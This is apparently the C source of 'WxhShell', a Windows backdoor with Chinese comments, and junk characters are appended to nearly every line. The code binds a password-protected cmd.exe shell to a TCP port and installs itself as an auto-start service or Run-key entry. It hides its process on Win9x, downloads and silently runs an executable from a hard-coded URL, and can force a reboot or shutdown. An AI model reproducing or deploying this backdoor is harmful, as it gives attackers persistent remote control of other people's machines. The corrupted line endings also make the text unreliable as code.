    if(Boot(SHUTDOWN)) j+3=&PkA.]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5U7w  
    else { [4}U*\/>C  
    closesocket(wsh); *_uGzGB&G  
    ExitThread(0); `$VnB  
    } #fF';Y7  
    break; hTAZGV(  
    } 8r jiW#  
  // 获取shell gM v0[~;u  
  case 's': { p:4oA<V  
    CmdShell(wsh); \/ /{\d  
    closesocket(wsh); Znh<r[p<  
    ExitThread(0); #|}EPD9$  
    break; s9?H#^Y5u  
  } \z=!It]f.  
  // 退出 ,NU`aG-  
  case 'x': { *i7|~q/u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K&iU+  
    CloseIt(wsh); R?kyJ4S  
    break; Qb1hk*$=  
    } )G|'PXI@,  
  // 离开 (DKQHL;  
  case 'q': { iC<qWq|S_m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +r]2.  
    closesocket(wsh); vj<JjGP  
    WSACleanup(); ?7aeY5p  
    exit(1); b U>.Bp]  
    break; , *Z!Bd8  
        } <3b Ft[  
  } ca$K)=cDW  
  } A!`Q[%$  
hQbz}x  
  // 提示信息 RMxFo\TK;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K!SFS   
} y$HV;%G{26  
  } NB)22 %  
yUFT9bD  
  return; (yhnv Z  
} Mvlqx J$  
oei2$uu  
// shell模块句柄 #; >v,Jo  
int CmdShell(SOCKET sock) ]KRw[}z  
{ _2S( *  
STARTUPINFO si; HY7#z2L  
ZeroMemory(&si,sizeof(si)); WQYw@M~4Q!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Y}{?]>pu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *#CUZJN\  
PROCESS_INFORMATION ProcessInfo; 7 +kU8}  
char cmdline[]="cmd"; f5&K=4khn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,9~2#[|lq  
  return 0; _B^Q;54c  
} r1 [Jo|4vo  
kTs.ps8ei  
// 自身启动模式 %8g1h)F"S  
int StartFromService(void) 7F wo t&  
{ 05o 1  
typedef struct /gq VXDY+`  
{ *TP>)o  
  DWORD ExitStatus; 45tQ$jr`1  
  DWORD PebBaseAddress; j.7BoV  
  DWORD AffinityMask; VPXUy=W  
  DWORD BasePriority; X< p KAO\  
  ULONG UniqueProcessId; Y`!Zk$8  
  ULONG InheritedFromUniqueProcessId; Xg1QF^  
}   PROCESS_BASIC_INFORMATION; aO$I|!tl  
'@,M 'H{  
PROCNTQSIP NtQueryInformationProcess; 4:Id8r zz  
?=0BU}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h_K!ch }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JWvL  
Hn!13+fS  
  HANDLE             hProcess; <GO 5}>}p8  
  PROCESS_BASIC_INFORMATION pbi; xg_9#  
qO}Q4a+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9._owKj  
  if(NULL == hInst ) return 0; J'Y;j^  
!juh}q&}|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <K zEn+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); , FD RU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  MON]rj7  
)TzQ8YpO}  
  if (!NtQueryInformationProcess) return 0; 6 ly`lu9  
K+ @R [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6k*,Yei  
  if(!hProcess) return 0; Ni-@El99  
g.T:72"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; swLrp 74  
#8qhl  
  CloseHandle(hProcess); U/9_:  
\*5${[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8t >nL  
if(hProcess==NULL) return 0; 6_kv~`"tZ  
nb}rfd.  
HMODULE hMod; -|_MC^)  
char procName[255]; {>n\B~*,"C  
unsigned long cbNeeded; %,Lv},%Y  
M.?[Xpa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B6xM#)  
oZ,_G,b^  
  CloseHandle(hProcess); sA!$}W  
2c1L[]h'  
if(strstr(procName,"services")) return 1; // 以服务启动 fm1yZX?`  
_mc-CZ  
  return 0; // 注册表启动 OV,t|  
} 1 paLxR5  
b .|k j  
// 主模块 Lv m"!!  
int StartWxhshell(LPSTR lpCmdLine) xSy`VuSl  
{ P:&X1MC  
  SOCKET wsl; = 4 wf  
BOOL val=TRUE; ?Es(pwJB  
  int port=0; SZ(]su:  
  struct sockaddr_in door; (]N- HN]v  
qPF`=#  
  if(wscfg.ws_autoins) Install(); cogIkB&Ju  
T1#r>3c\  
port=atoi(lpCmdLine); :kQydCuK  
Bvsxn5z+:  
if(port<=0) port=wscfg.ws_port; < wi9   
m6Mko2  
  WSADATA data; t4v@d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @jY=b<  
h'ik19  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v8f1o$R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _=-B%m  
  door.sin_family = AF_INET; V;29ieE!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3>QkO.b  
  door.sin_port = htons(port); #%7)a;'  
(5a:O (\r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'M!M$<j  
closesocket(wsl); !QS j*)V#  
return 1; ^xm%~   
} ApNS0  
.C,D;T{  
  if(listen(wsl,2) == INVALID_SOCKET) { `Vl9/IEk  
closesocket(wsl); YJu~iQ`i  
return 1; {;vLM* '  
} 03H0(ku=  
  Wxhshell(wsl); <NWq0 3:&  
  WSACleanup(); ZXl_cq2r  
Hg5 :>?Lw@  
return 0; +h08uo5c  
nM| Cv  
} E.N  
#f<3[BLx  
// 以NT服务方式启动 S`8Iu[Ma  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 76cLf~|d~  
{ );;UA6CD  
DWORD   status = 0; gVNoC-n)  
  DWORD   specificError = 0xfffffff; Jb*E6-9G  
v =d16  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CorV!H4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F:N8{puq5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vb6kr?-i*  
  serviceStatus.dwWin32ExitCode     = 0; i&YWutG  
  serviceStatus.dwServiceSpecificExitCode = 0; # /Bg5:  
  serviceStatus.dwCheckPoint       = 0; Bmt^*;WY+  
  serviceStatus.dwWaitHint       = 0; iD*L<9  
-}_1f[b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $C{,`{=  
  if (hServiceStatusHandle==0) return; _ee<i8_Va  
ly:2XvV3~  
status = GetLastError(); T~L&c  
  if (status!=NO_ERROR) e|N~tUVrrN  
{ >L ')0<!&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +pRNrg?k  
    serviceStatus.dwCheckPoint       = 0; A `{hKS  
    serviceStatus.dwWaitHint       = 0; }OY/0p-Z  
    serviceStatus.dwWin32ExitCode     = status; X ,{ 3_  
    serviceStatus.dwServiceSpecificExitCode = specificError; +z 4E:v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &`oybm-p(  
    return; TV=K3F5)M  
  } McpQ7\*h  
ocu,qL)W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m?kyAW'|  
  serviceStatus.dwCheckPoint       = 0; Dxy^r*B  
  serviceStatus.dwWaitHint       = 0; t)1`^W}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1yVhO2`7]  
} w2db=9  
j#0JD!Vr  
// 处理NT服务事件,比如:启动、停止 ||?@pn\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Au#j^5K-o  
{ Q(36RX%@  
switch(fdwControl) P0pBR_:o  
{ F$bV}>-1k  
case SERVICE_CONTROL_STOP: 7[PEiAI  
  serviceStatus.dwWin32ExitCode = 0; A=3L_ #nO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :bm%f%gg  
  serviceStatus.dwCheckPoint   = 0; vA}_x7}n(  
  serviceStatus.dwWaitHint     = 0; | kP utB  
  { 0<O()NMv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )2_[Ww|.  
  } -n8d#Qm)  
  return; 9:P]{}  
case SERVICE_CONTROL_PAUSE: W.NZ%~|+e/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <{GVA0nr  
  break; uFha N\S  
case SERVICE_CONTROL_CONTINUE: [dAQrou6P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QFMA y>Gdn  
  break; =3 Vug2*wd  
case SERVICE_CONTROL_INTERROGATE: LT"H -fTgs  
  break; K_@?Q@#YhR  
}; :AS`1\ C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e[16 7uU  
} vd)zvI  
Q;J( 5;  
// 标准应用程序主函数 ?xrOhA9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7B)1U_L0H  
{ 5VJe6i9;  
}opw_h+/F  
// 获取操作系统版本 Ulx]4;uzf  
OsIsNt=GetOsVer(); fbU3-L?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lLDZ#'&An  
[}]yJ+)  
  // 从命令行安装 rlD!%gG2x  
  if(strpbrk(lpCmdLine,"iI")) Install(); *= ?|n   
15hqoo9!  
  // 下载执行文件 xP!QV~$>  
if(wscfg.ws_downexe) { %4f.<gz~r|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~`C _B]3|  
  WinExec(wscfg.ws_filenam,SW_HIDE); O`Gq7=X  
} vaGF(hfTA  
fP V n;  
if(!OsIsNt) { U3N9O.VC  
// 如果时win9x,隐藏进程并且设置为注册表启动 n{i,`oQ"  
HideProc(); *67K_<bp]  
StartWxhshell(lpCmdLine); vj]>X4'i  
} g (WP  
else //_H _ue$  
  if(StartFromService()) S YDE`-  
  // 以服务方式启动 r:;.?f@  
  StartServiceCtrlDispatcher(DispatchTable); F,{mF2U*$  
else s<)lC;#e  
  // 普通方式启动 5OppK(Oi*C  
  StartWxhshell(lpCmdLine); ? ep#s$i  
bD{k=jum  
return 0; uO`MA% z<  
} O|~C qb  
c#sHnpP  
YT Zi[/  
o]Rlivahm  
=========================================== d.^g#&h  
(XQuRL<X  
6:O<k2=2  
}}{n|l+R5  
8v4 o+w P  
kB> ~Tb0  
" IF|6iKCE  
yjg&/6  
#include <stdio.h> 6FQi=}O1  
#include <string.h> *Bq}.Yn  
#include <windows.h> s:Ml\['x  
#include <winsock2.h> +7^p d9F.  
#include <winsvc.h> 8&)v%TX  
#include <urlmon.h> 1(Ta*"(0Ip  
:t{~Mi=T  
#pragma comment (lib, "Ws2_32.lib") $KO2+^%y  
#pragma comment (lib, "urlmon.lib") LWN {  
jb -kg</A  
#define MAX_USER   100 // 最大客户端连接数 67YC;J]n=z  
#define BUF_SOCK   200 // sock buffer sa(.Anmlj  
#define KEY_BUFF   255 // 输入 buffer `;E/\eG"  
M .b8 -`V  
#define REBOOT     0   // 重启 4 "HX1qP  
#define SHUTDOWN   1   // 关机 1!~cPD'F  
2t-w0~O  
#define DEF_PORT   5000 // 监听端口 !qj[$x-ns  
]:59c{O  
#define REG_LEN     16   // 注册表键长度 ^ RA'E@ "  
#define SVC_LEN     80   // NT服务名长度 rNii,_  
}OL"38P  
// 从dll定义API `t&{^ a&Y"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |)29"_Kk5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jC9us>b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yZ|"qP1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .h7s.p?  
o)AwM"  
// wxhshell配置信息 s|]g@cz an  
struct WSCFG { DAB9-[y+  
  int ws_port;         // 监听端口 K>@yk9)vi  
  char ws_passstr[REG_LEN]; // 口令 HUi?\4  
  int ws_autoins;       // 安装标记, 1=yes 0=no #]kjyT0  
  char ws_regname[REG_LEN]; // 注册表键名 ttzNv>L,  
  char ws_svcname[REG_LEN]; // 服务名 aa`(2%(:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ej`%}e%2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a>'ez0C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @1JwjtNk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kI^* '=:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <U@N ^#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [y[d7V9_o  
udZOg  
}; ;Y$>WKsV  
&12K pEyf  
// default Wxhshell configuration -3EQRqVg  
struct WSCFG wscfg={DEF_PORT, b-&iJ &>'  
    "xuhuanlingzhe", ;u UFgDi  
    1, [1VA`:?W  
    "Wxhshell", QPJ \Iu@D$  
    "Wxhshell", elOeXYO0  
            "WxhShell Service", {r,U ik-nL  
    "Wrsky Windows CmdShell Service", wA=r ]BT  
    "Please Input Your Password: ", ,#A(I#wL~  
  1, $ J`O-"M  
  "http://www.wrsky.com/wxhshell.exe", 5ilGWkb`'X  
  "Wxhshell.exe" E-bswUVaEE  
    }; 5i!Q55Yv=,  
1F^Q*t{  
// 消息定义模块 >='/%Ad  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $YL9 vJV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g* q#VmE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P[nc8z[  
char *msg_ws_ext="\n\rExit."; ~[g(@Xt  
char *msg_ws_end="\n\rQuit."; 21uK&nVf^l  
char *msg_ws_boot="\n\rReboot..."; OSgJj MQ  
char *msg_ws_poff="\n\rShutdown..."; )'_[R@ThB  
char *msg_ws_down="\n\rSave to "; b(H{i}{]  
rs&]46i/p  
char *msg_ws_err="\n\rErr!"; q$Gs;gz^(  
char *msg_ws_ok="\n\rOK!"; B0fOAP1  
MtLWpi u@[  
char ExeFile[MAX_PATH]; XO <wK  
int nUser = 0; ze+YQ F  
HANDLE handles[MAX_USER]; RP4/:sO  
int OsIsNt; yB b%#GW  
uJ !&T  
SERVICE_STATUS       serviceStatus; =}^NyLE?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,XD" p1(|G  
N:1aDr;  
// 函数声明 Kg[OUBv  
int Install(void); -/yqiC-yx  
int Uninstall(void); %tCv-aX4  
int DownloadFile(char *sURL, SOCKET wsh); RgJ@J/p"  
int Boot(int flag); Ys"wG B>  
void HideProc(void); U v2.Jo/Q  
int GetOsVer(void); ?[D3 -4  
int Wxhshell(SOCKET wsl); F"@%7xy  
void TalkWithClient(void *cs); aF{_"X2  
int CmdShell(SOCKET sock); X'Ss#s>g  
int StartFromService(void);  < $~lFV  
int StartWxhshell(LPSTR lpCmdLine); [{znwK@  
3db{Tcn\@]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w?Te%/s.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V]=22Cxi'~  
LW %AZkAx  
// 数据结构和表定义 :QE5 7 .  
SERVICE_TABLE_ENTRY DispatchTable[] =  +\/Q  
{ |VBt:dd<  
{wscfg.ws_svcname, NTServiceMain}, [2%[~&4  
{NULL, NULL} vl"w,@V7  
}; '0<d9OlJ}  
t&r.Kf9Z\  
// 自我安装 zC?' Qiuh*  
int Install(void) @,vmX z  
{ DD| 0?i  
  char svExeFile[MAX_PATH]; /sE,2X*BT  
  HKEY key; CWj_K2=d  
  strcpy(svExeFile,ExeFile); 4"d,=P.{  
XHr*Rs.[=  
// 如果是win9x系统,修改注册表设为自启动 w+M/VsL  
if(!OsIsNt) { {!"UBALxc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *$tXm4 O[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3<0b_b  
  RegCloseKey(key); )DSeXS[ e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (`x_MTLL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6#=jF[  
  RegCloseKey(key); [GwAm>k  
  return 0; -9Q(3$}  
    } L kt4F  
  } |LHJRP-Z  
} :ym?]EL4o  
else { SeX]|?D  
!FEc:qH  
// 如果是NT以上系统,安装为系统服务 Dd3f@b[WX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -;""l{  
if (schSCManager!=0) =o@;K~-  
{ 48^-]};  
  SC_HANDLE schService = CreateService >p_W(u@ z$  
  ( Wn%P.`o#  
  schSCManager, l=@ B 'a  
  wscfg.ws_svcname, <_EKCk  
  wscfg.ws_svcdisp, peQwH  
  SERVICE_ALL_ACCESS, ~# -?V[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a)_3r]sv^  
  SERVICE_AUTO_START, m4:c$5  
  SERVICE_ERROR_NORMAL,  ~?ab_CY  
  svExeFile, ^7gGtz2  
  NULL, t^s&1#iC  
  NULL, &i#$ia r  
  NULL, _y@ 28t  
  NULL, *t@A-Sn  
  NULL T(J'p4  
  ); ] l,BUf-O  
  if (schService!=0) vygzL U^  
  { ]#tB[G  
  CloseServiceHandle(schService); !3Q0Ahf  
  CloseServiceHandle(schSCManager); ~#_~DqbMZ5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :@A&HkF  
  strcat(svExeFile,wscfg.ws_svcname); Y },E3<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /K=OsMl2b8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u4x-GObJM  
  RegCloseKey(key); L2}\Ah"[  
  return 0; /6x&%G:m#  
    } *"%TAe7?~+  
  } ]\, ?u /  
  CloseServiceHandle(schSCManager); ["-rD y P  
} z0"t]4s  
} @rl5k(  
r- 8Awa  
return 1; ^y+k6bE  
} mdi!Q1pS  
|OeyPD#  
// 自我卸载 _v!7 |&\  
int Uninstall(void) $)lkiA&;  
{ rRTKF0+  
  HKEY key; p`tz*ewC  
S%SYvA  
if(!OsIsNt) { y>o:5':;'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^y<^hKjV  
  RegDeleteValue(key,wscfg.ws_regname); E`HoJhB  
  RegCloseKey(key); -hd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i~@gI5[k+  
  RegDeleteValue(key,wscfg.ws_regname); o9kJ90{D=  
  RegCloseKey(key); ,K5K?C$k  
  return 0;  H.5 6  
  } m=l>8  
} !:{Qbv&T  
} wNB?3v{n  
else { ^<;W+dWdU  
AHf 9H?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .N(R~_  
if (schSCManager!=0) 7e_4sxg'(3  
{ ~ua(Qm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xIdb9hm<  
  if (schService!=0) JrP`u4f_  
  { )g pN 5TDd  
  if(DeleteService(schService)!=0) { pdu1 kL  
  CloseServiceHandle(schService); .K C* (}-  
  CloseServiceHandle(schSCManager); O=K lc+Oo  
  return 0; TWP@\ BQ  
  } >A Ep\ *  
  CloseServiceHandle(schService); D  T5d]MU  
  } u>XXKlW:  
  CloseServiceHandle(schSCManager); ; 476t  
} Agc ss20.  
} YPK@BmAdE  
rZKh}E  
return 1; -l[H]BAMXy  
} 5Tsz|k  
"x$@^  
// 从指定url下载文件 ,&[o:jTk  
int DownloadFile(char *sURL, SOCKET wsh) I4Do$&9<D  
{ [P2>KQ\  
  HRESULT hr; SKG U)Rn;  
char seps[]= "/"; Np\NStx2  
char *token; snbXAx1L  
char *file; #}A"yo  
char myURL[MAX_PATH]; ={g"cx  
char myFILE[MAX_PATH]; Et6j6gmif  
q <}IO  
strcpy(myURL,sURL); h#1:ypA6l  
  token=strtok(myURL,seps); [^"}jbn/  
  while(token!=NULL) =?]`Xo,v~  
  { vJE=H9E  
    file=token; Bg|d2,im  
  token=strtok(NULL,seps); FSuC)Xg  
  } Fe8X@63  
3M#x)cW  
GetCurrentDirectory(MAX_PATH,myFILE); "&_+!TBg,  
strcat(myFILE, "\\"); HT7,B(.}  
strcat(myFILE, file); 1wgL^Qz@  
  send(wsh,myFILE,strlen(myFILE),0); v.ZUYa|  
send(wsh,"...",3,0); It*U"4lgi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L15)+^4n  
  if(hr==S_OK) s}zR@ !`  
return 0; :3F[!y3b  
else EU(e5vO  
return 1; Z~:)hwF  
xI,3(A.  
} ("`"?G  
d=1\=d/K  
// 系统电源模块 VgPlIIHh5  
int Boot(int flag) %[XP}L$  
{ _'p/8K5)=  
  HANDLE hToken; =CzGI|pb  
  TOKEN_PRIVILEGES tkp; :k9T`Aa]  
<?41-p-;  
  if(OsIsNt) { .7.G}z1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k$=L&id  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); le:}M M  
    tkp.PrivilegeCount = 1; R3g)LnN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gmp@ TY=:L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @tT`s^e  
if(flag==REBOOT) { O%%Q./oh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $uLTYu  
  return 0; mJ%^`mrI  
} <*vR_?!  
else { F`KXG$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KKwM\   
  return 0; u ?V}pYX  
} @@ j\OR  
  } \p:)Cdn  
  else { NG3?OAQTw  
if(flag==REBOOT) { <v1H1'gv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Boj R"  
  return 0; & n*ga$Q  
} "Lvk?k )hx  
else { E}Cz(5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [kJ;Uxncz~  
  return 0; zE;|MU@|  
} nLL2/!'n  
} .QY>@b\  
TY/'E#.  
return 1; Pk&=\i<  
} -.Wwo(4  
drpx"d[c  
// win9x进程隐藏模块 =LGM[Z3$s  
void HideProc(void) "9s}1C;Me  
{ x~k3kj  
ESviWCh0Fl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JbEEI(Q>g  
  if ( hKernel != NULL ) c ,#=In2  
  { eNfH9l2k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oW OR7)?r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !I|_vJ@<  
    FreeLibrary(hKernel); ; FI'nL  
  } HRTNIx  
.BjWZj  
return; B<~AUf*y  
} wmpQF<  
qKSR5 #  
// 获取操作系统版本 ,3rsjoKhd  
int GetOsVer(void) #@nPB.  
{ !"FEp  
  OSVERSIONINFO winfo; dkC_Sh{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #0) TS  
  GetVersionEx(&winfo); 6l,6k~Z9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O0y0'P-rJq  
  return 1; I!b"Rv=Nf-  
  else ju:}%'  
  return 0; kM-8%a2i  
} vEjf|-Mb9  
)4o8SF7lz  
// 客户端句柄模块 |`yU \  
int Wxhshell(SOCKET wsl) _I)TO_L;  
{ b73}|4v  
  SOCKET wsh; q'fOlq  
  struct sockaddr_in client; RJ'za1@z;b  
  DWORD myID; "r`2V-E  
c}v8j2{  
  while(nUser<MAX_USER) NI/'SMj%  
{ @Y,t]  
  int nSize=sizeof(client); =Crl{Ax  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %#fjtbeB  
  if(wsh==INVALID_SOCKET) return 1; ka=A:biz  
1/bTwzR.g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &R/-~w5  
if(handles[nUser]==0) qAp <OJ  
  closesocket(wsh); };r EN`L  
else gWro])3  
  nUser++;  8\nka5  
  } :bo2H[U+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3hkEjR  
D=LsoASVI  
  return 0; Ww~C[8q  
} nYC.zc*ox  
bfUKh%!M  
// 关闭 socket j*?E~M.'1K  
void CloseIt(SOCKET wsh) ?gu!P:lZS  
{ ;"f9"  
closesocket(wsh); f*V^HfiQb  
nUser--; io"NqR#"v  
ExitThread(0); zp4@T)  
} J*ofa>  
lX.1B&T9Lr  
// 客户端请求句柄 |-v/  
void TalkWithClient(void *cs) UU}Hs}  
{ UQI!/6F  
d:Z|It  
  SOCKET wsh=(SOCKET)cs; )-XD= ]  
  char pwd[SVC_LEN]; 8xj_)=(sV!  
  char cmd[KEY_BUFF]; C(sz/x?11  
char chr[1]; &]f8Xd  
int i,j; j0F& WKk  
Z3<lJk\Y  
  while (nUser < MAX_USER) { W-D4" G@  
Hl}m*9<9us  
if(wscfg.ws_passstr) { g \+!+!"~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7h. [eMLPB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <}mA>c'k  
  //ZeroMemory(pwd,KEY_BUFF); U_9|ED:  
      i=0; <%4pvn8d?&  
  while(i<SVC_LEN) { sj+ )   
H>\l E2  
  // 设置超时 SA"4|#3>7  
  fd_set FdRead; ,LOx!  
  struct timeval TimeOut; 6QHUBm2  
  FD_ZERO(&FdRead); M"-53|#:w\  
  FD_SET(wsh,&FdRead); eMOp}.zt|  
  TimeOut.tv_sec=8; ?t;,Nk`jx  
  TimeOut.tv_usec=0; "SKv'*\b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !!6@r|.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /w5c:BH  
%}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yp hd'Pu"  
  pwd=chr[0]; @Rd`/S@  
  if(chr[0]==0xd || chr[0]==0xa) { E)'T;%  
  pwd=0; uw>y*OLU+  
  break; mmC MsBfL  
  } _0&U'/cs  
  i++; #pD=TMefC  
    } uYE"O UNWL  
QVb{+`.7  
  // 如果是非法用户,关闭 socket BL0xSNE**  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x {R j2~KC  
} ? _[ q{i{  
H_iQR9Ak7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s2tNQtq 0W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HS.eK#:N  
(6)|v S  
while(1) { * P12d  
1<]?@[l<  
  ZeroMemory(cmd,KEY_BUFF); ;%AY#b4m  
T[ zEAj  
      // 自动支持客户端 telnet标准   \  6Y%z  
  j=0; 6m9\0)R  
  while(j<KEY_BUFF) { q)"yP\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M VE:JNm  
  cmd[j]=chr[0]; #E/|W T  
  if(chr[0]==0xa || chr[0]==0xd) { +D h?MQt?  
  cmd[j]=0; Z4k'c+  
  break; (>\4%(pnD  
  } >(gbUW  
  j++; B .?@VF  
    } 4E$6&,\  
?R@u'4yK  
  // 下载文件 [L2N[vy;  
  if(strstr(cmd,"http://")) { f 0/q{*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _k)EqPYu@  
  if(DownloadFile(cmd,wsh)) tac_MtW?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `:gXQmt  
  else UE/iq\a>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oJc v D  
  } $B )jSxSy  
  else { %8KbVjn  
cS",Bw\  
    switch(cmd[0]) { s8*Q@0  
  aO *][;0  
